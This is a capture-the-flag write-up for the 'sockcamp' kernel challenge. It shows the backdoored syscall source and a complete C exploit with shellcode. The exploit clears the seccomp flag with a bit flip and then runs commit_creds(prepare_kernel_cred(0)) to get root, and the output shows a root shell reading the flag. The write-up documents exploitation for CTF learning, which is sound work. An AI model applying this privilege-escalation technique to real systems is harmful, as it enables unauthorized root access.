Tags: seccomp kernel pwn 

Rating:

sockcamp

Somebody added a suspicious syscall to my kernel... No problem! I blocked it with seccomp and now nobody can use it ;)

nc 35.224.135.84 1003

Note: You can use the attached SDK to compile your exploit

Attachments:

  • sockcamp.zip
  • x86_64-buildroot-linux-uclibc_sdk-buildroot.tar.gz

Overview

We have two custom syscalls defined.

#include <linux/kernel.h>
#include <linux/syscalls.h>

#define __NR_FLIP 555
#define __NR_INJECT 556

unsigned long flips = 0;

SYSCALL_DEFINE2(flip, unsigned long, offset, unsigned char, bit)
{
    if (flips > 0 || offset >= sizeof(struct task_struct) || bit >= 8) {
        printk(KERN_ALERT "[backdoor] No\n");
        return -EPERM;
    }

    ((unsigned char *)current)[offset] ^= (1 << (bit));
    flips++;

    return 0;
}

typedef void func(void);

SYSCALL_DEFINE2(inject, void *, addr, unsigned long, len)
{
    void *buf;
    buf = __vmalloc(128, GFP_KERNEL, PAGE_KERNEL_EXEC);
    if (len < 128) {
        if (copy_from_user(buf, addr, len) == 0) {
            printk(KERN_INFO
                   "[backdoor] Copied %lu bytes from userland\n",
                   len);
        }
        ((func *)buf)();
    }

    return 0;
}

Unfortunately the inject syscall is blocked by seccomp.

Solution

Step 1

Disable seccomp with a single bit-flip in the current task_struct using syscall 555:

current->thread_info.flags &= ~_TIF_SECCOMP;

Explanation: https://youtu.be/mKzUA3j6myg

Step 2

Execute commit_creds(prepare_kernel_cred(0)) using syscall 556 to escalate privileges. KASLR is disabled so the addresses are fixed. See inject.py to see how to assemble the code.


Final exploit in solve.c:

int main() {
    int r;

    printf("[solve] Escaping seccomp");
    unsigned long offset = 1;
    unsigned long bit = 0;
    r = syscall(555, offset, bit);
    assert(r == 0);

    printf("[solve] UID before escalating privs: %d\n", getuid());

    char escalate_privs[31] = {0x48, 0x31, 0xff, 0x48, 0xb9, 0xc0, 0x81, 0x08,
                               0x81, 0xff, 0xff, 0xff, 0xff, 0xff, 0xd1, 0x48,
                               0x89, 0xc7, 0x48, 0xb9, 0x80, 0x7e, 0x08, 0x81,
                               0xff, 0xff, 0xff, 0xff, 0xff, 0xd1, 0xc3};

    r = syscall(556, escalate_privs, 31);
    printf("[solve] syscall(556) = %d\n", r);
    assert(r == 0);

    printf("[solve] UID after escalating privs: %d\n", getuid());
    assert(getuid() == 0);

    // This child process should still be seccomped, but it doesn't matter
    execlp("/bin/sh", "/bin/sh", NULL);

    return 0;
}

Output:

$ python3 client.py HOST=35.224.135.84 PORT=1003 EXPLOIT=solve
[x] Opening connection to 35.224.135.84 on port 1003
[x] Opening connection to 35.224.135.84 on port 1003: Trying 35.224.135.84
[+] Opening connection to 35.224.135.84 on port 1003: Done
[*] Solving PoW ...
[DEBUG] Received 0x34 bytes:
    b'Send the output of: hashcash -mb26 gsji19cJeCDSmj8N\n'
[+] Solved PoW
[DEBUG] Sent 0x35 bytes:
    b'1:26:210613:gsji19cjecdsmj8n::kjm3fW3I7ePrO41C:4GYop\n'
rt
...
$ chmod +x solve
$ ./solve
./solve
[solve] Sanity check: syscall 556 should be blocked[solve] syscall(556) = -1
[solve] Escaping seccomp[solve] syscall(555) = 0
[solve] UID before escalating privs: 1000
[   22.705578] [backdoor] Copied 31 bytes from userland
[solve] syscall(556) = 0
[solve] UID after escalating privs: 0
/bin/sh: can't access tty; job control turned off
$ id
id
uid=0(root) gid=0(root)
$ cat /flag
cat /flag
CCC{n0t_r3ally_4_r0wh4mm3r_ch3ll3ng3}
Original writeup (https://github.com/qxxxb/ctf_challenges/blob/master/2021/ccc/pwn/sockcamp/solve).